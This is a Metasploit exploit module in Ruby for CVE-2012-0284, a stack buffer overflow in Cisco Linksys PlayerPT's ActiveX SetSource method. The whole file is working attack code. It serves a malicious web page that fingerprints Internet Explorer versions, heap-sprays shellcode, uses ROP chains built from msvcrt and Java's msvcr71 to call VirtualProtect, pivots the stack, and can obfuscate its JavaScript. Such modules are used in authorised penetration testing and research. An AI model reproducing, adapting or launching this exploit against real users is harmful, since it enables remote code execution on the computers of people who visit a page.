Cisco Linksys PlayerPT - ActiveX Control SetSource sURL argument Buffer Overflow (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::Seh
	include Msf::Exploit::Remote::BrowserAutopwn

	autopwn_info({
		:ua_name    => HttpClients::IE,
		:ua_minver  => "6.0",
		:ua_maxver  => "9.0",
		:javascript => true,
		:os_name    => OperatingSystems::WINDOWS,
		:classid    => "{9E065E4A-BD9D-4547-8F90-985DC62A5591}",
		:method     => "SetSource",
		:rank       => NormalRanking
	})


	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Cisco Linksys PlayerPT ActiveX Control SetSource sURL argument Buffer Overflow',
			'Description'    => %q{
					This module exploits a vulnerability found in Cisco Linksys PlayerPT 1.0.0.15
				as the installed with the web interface of Cisco Linksys WVC200 Wireless-G PTZ
				Internet Video Camera. The vulnerability, due to the insecure usage of sprintf in
				the SetSource method, when handling a specially crafted sURL argument, allows to
				trigger a stack based buffer overflow which leads to code execution under the
				context of the user visiting a malicious web page.
			},
			'Author'         =>
				[
					'Carsten Eiram', # Vuln discovery
					'juan' # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2012-0284' ],
					[ 'BID', '54588' ],
					[ 'URL', 'http://secunia.com/secunia_research/2012-25/' ],

				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',

				},
			'Payload'        =>
				{
					'Space' => 1024,
					'DisableNops' => true,
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[
						'IE 6 on Windows XP SP3',
						{
							'SprayBlocks' => 0x185,
							'SprayOffset' => '0x0',
							'Ret' => 0x0c0c0c0c,
							'Rop' => nil,
							'RandomHeap' => false
						}
					],
					[
						'IE 7 on Windows XP SP3 / Windows Vista SP2',
						{
							'SprayBlocks' => 0x185,
							'SprayOffset' => '0x0',
							'Ret' => 0x0c0c0c0c,
							'Rop' => nil,
							'RandomHeap' => false
						}
					],
					[
						'IE 8 on Windows XP SP3',
						{
							'SprayBlocks' => 0x185,
							'SprayOffset' => '0x0',
							'Ret' => 0x77c3546b, # ret from msvcrt
							'StackPivot_1' => 0x77c3546a, # pop ebp; ret from msvcrt
							'StackPivot_2' => 0x77c35468, # mov esp,ebp; pop ebp; ret from msvcrt
							'Rop' => :msvcrt,
							'RopChainOffset' => '0x5f4',
							'RandomHeap' => false
						}
					],
					[
						'IE 8 with Java 6 on Windows XP SP3',
						{
							'SprayBlocks' => 0x185,
							'SprayOffset' => '0x0',
							'Ret' => 0x7c3424f2, # ret from msvcr71.dll
							'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll
							'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll
							'Rop' => :jre,
							'RopChainOffset' => '0x5f4',
							'RandomHeap' => false
						}
					],
					[
						'IE 8 with Java 6 on Windows 7 SP1/Vista SP2',
						{
							'SprayBlocks' => 0x185,
							'SprayOffset' => '0x0',
							'Ret' => 0x7c3424f2, # ret from msvcr71.dll
							'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll
							'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll
							'Rop' => :jre,
							'RopChainOffset' => '0x5f4',
							'RandomHeap' => false
						}
					],
					[
						'IE 9 with Java 6 on Windows 7 SP1',
						{
							'SprayBlocks' => 0x1000,
							'SprayOffset' => '0x0',
							'Ret' => 0x7c3424f2, # ret from msvcr71.dll
							'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll
							'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll
							'Rop' => :jre,
							'RopChainOffset' => '0x5fe',
							'RandomHeap' => true,
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jul 17 2012',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class
		)

	end

	def get_easy_spray(t, js_code, js_nops)

		spray = <<-JS
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");

		while (nops.length < 0x80000) nops += nops;

		var offset = nops.substring(0, #{t['SprayOffset']});
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);

		heap_obj.gc();
		for (var z=1; z < #{t['SprayBlocks']}; z++) {
			heap_obj.alloc(block);
		}

		JS

		return spray

	end

	def get_aligned_spray(t, js_rop, js_code, js_nops, js_90_nops)

		spray = <<-JS

		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");
		var nops_90 = unescape("#{js_90_nops}");
		var rop_chain = unescape("#{js_rop}");

		while (nops.length < 0x80000) nops += nops;
		while (nops_90.length < 0x80000) nops_90 += nops_90;

		var offset = nops.substring(0, #{t['SprayOffset']});
		var nops_padding = nops.substring(0, #{t['RopChainOffset']}-code.length-offset.length);
		var shellcode = offset + code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length);


		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);


		heap_obj.gc();
		for (var z=1; z < #{t['SprayBlocks']}; z++) {
			heap_obj.alloc(block);
		}

		JS

		return spray

	end

	# Spray published by corelanc0d3r
	# Exploit writing tutorial part 11 : Heap Spraying Demystified
	# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
	def get_random_spray(t, js_rop, js_code, js_90_nops)

		spray = <<-JS

		function randomblock(blocksize)
		{
			var theblock = "";
			for (var i = 0; i < blocksize; i++)
			{
				theblock += Math.floor(Math.random()*90)+10;
			}
			return theblock;
		}

		function tounescape(block)
		{
			var blocklen = block.length;
			var unescapestr = "";
			for (var i = 0; i < blocklen-1; i=i+4)
			{
				unescapestr += "%u" + block.substring(i,i+4);
			}
			return unescapestr;
		}

		var heap_obj = new heapLib.ie(0x10000);

		var rop = unescape("#{js_rop}");
		var code = unescape("#{js_code}");
		var nops_90 = unescape("#{js_90_nops}");

		while (nops_90.length < 0x80000) nops_90 += nops_90;

		var offset_length = #{t['RopChainOffset']};

		for (var i=0; i <  #{t['SprayBlocks']}; i++) {
			var padding = unescape(tounescape(randomblock(0x1000)));
			while (padding.length < 0x1000) padding+= padding;
			var junk_offset = padding.substring(0, offset_length - code.length);
			var single_sprayblock = code + junk_offset + rop + nops_90.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
			while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
			sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
			heap_obj.alloc(sprayblock);
		}

		JS

		return spray
	end


	def junk(n=4)
		return rand_text_alpha(n).unpack("V").first
	end

	def nop
		return make_nops(4).unpack("V").first
	end

	def get_stack_pivot(t)
		stack_pivot = [
			junk,
			junk,
			junk,
			junk,
			junk,
			t['StackPivot_1'], # pop ebp # ret # ESP points here after controlling EIP with overflow
			0x0c0c0c08,        # ebp
			t['StackPivot_2']  # mov esp,ebp # pop ebp # ret
		].pack("V*")

		return stack_pivot
	end

	def get_rop_chain(t)

		# Both ROP chains generated by mona.py - See corelan.be
		case t['Rop']
			when :msvcrt
				print_status("Using msvcrt ROP")
				rop =
					[
						0x77C21891,  # POP ESI # RETN
						0x0c0c0c04,  # ESI
						0x77c4e392,  # POP EAX # RETN
						0x77c11120,  # <- *&VirtualProtect()
						0x77c2e493,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
						junk,
						0x77c2dd6c,  # XCHG EAX,ESI # ADD BYTE PTR [EAX],AL # RETN
						0x77c4ec00,  # POP EBP # RETN
						0x77c35459,  # ptr to 'push esp #  ret'
						0x77c47705,  # POP EBX # RETN
						0x00001000,  # EBX
						0x77c3ea01,  # POP ECX # RETN
						0x77c5d000,  # W pointer (lpOldProtect) (-> ecx)
						0x77c46100,  # POP EDI # RETN
						0x77c46101,  # ROP NOP (-> edi)
						0x77c4d680,  # POP EDX # RETN
						0x00000040,  # newProtect (0x40) (-> edx)
						0x77c4e392,  # POP EAX # RETN
						nop,         # NOPS (-> eax)
						0x77c12df9,  # PUSHAD # RETN
					].pack("V*")

			when :jre
				print_status("Using JRE ROP")
				rop =
					[
						0x7c37653d,  # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
						0x00001000,  # (dwSize)
						0x7c347f98,  # RETN (ROP NOP)
						0x7c3415a2,  # JMP [EAX]
						0xffffffff,
						0x7c376402,  # skip 4 bytes
						0x7c345255,  # INC EBX # FPATAN # RETN
						0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
						0x7c344f87,  # POP EDX # RETN
						0x00000040,  # flNewProtect
						0x7c34d201,  # POP ECX # RETN
						0x7c38b001,  # &Writable location
						0x7c347f97,  # POP EAX # RETN
						0x7c37a151,  # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
						0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN
						0x7c345c30,  # ptr to 'push esp #  ret '
					].pack("V*")
		end

		return rop
	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
			return targets[1]  #IE 6 on Windows XP SP3
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
			return targets[2]  #IE 7 on Windows XP SP3
		elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
			return targets[2]  #IE 7 on Windows Vista SP2
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
			return targets[3]  #IE 8 on Windows XP SP3
		elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/
			return targets[5]  #IE 8 on Windows 7 SP1/Vista SP2
		elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
			return targets[6]  #IE 9 on Windows 7 SP1
		else
			return nil
		end
	end

	def on_request_uri(cli, request)

		agent = request.headers['User-Agent']
		print_status("User-agent: #{agent}")

		my_target = get_target(agent)

		# Avoid the attack if the victim doesn't have a setup we're targeting
		if my_target.nil?
			print_error("Browser not supported: #{agent}")
			send_not_found(cli)
			return
		end

		p = payload.encoded
		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
		js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

		if not my_target['Rop'].nil?
			js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
		end

		js = ""

		if my_target['RandomHeap']
			js = get_random_spray(my_target, js_rop, js_code, js_90_nops)
		elsif not my_target['Rop'].nil?
			js = get_aligned_spray(my_target, js_rop, js_code, js_nops, js_90_nops)
		else
			js = get_easy_spray(my_target, js_code, js_nops)
		end

		js = heaplib(js, {:noobfu => true})

		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
		end

		sploit = "http://"
		sploit << "\x0c" * 261
		sploit << [my_target.ret].pack("V")
		if not my_target['Rop'].nil?
			sploit << get_stack_pivot(my_target)
		end
		sploit << "/img/video.asf"

		html = <<-MYHTML
		<html>
		<head>
		<script>
		#{js}
		</script>
		</head>
		<body>
		<object classid='clsid:9E065E4A-BD9D-4547-8F90-985DC62A5591' id='obj' /></object>
		<script>
			obj.SetSource("#{sploit}","mpeg","","","");
		</script>
		</body>
		</html>
		MYHTML

		html = html.gsub(/^\t\t/, '')

		print_status("Sending html")
		send_response(cli, html, {'Content-Type'=>'text/html'})
	end
end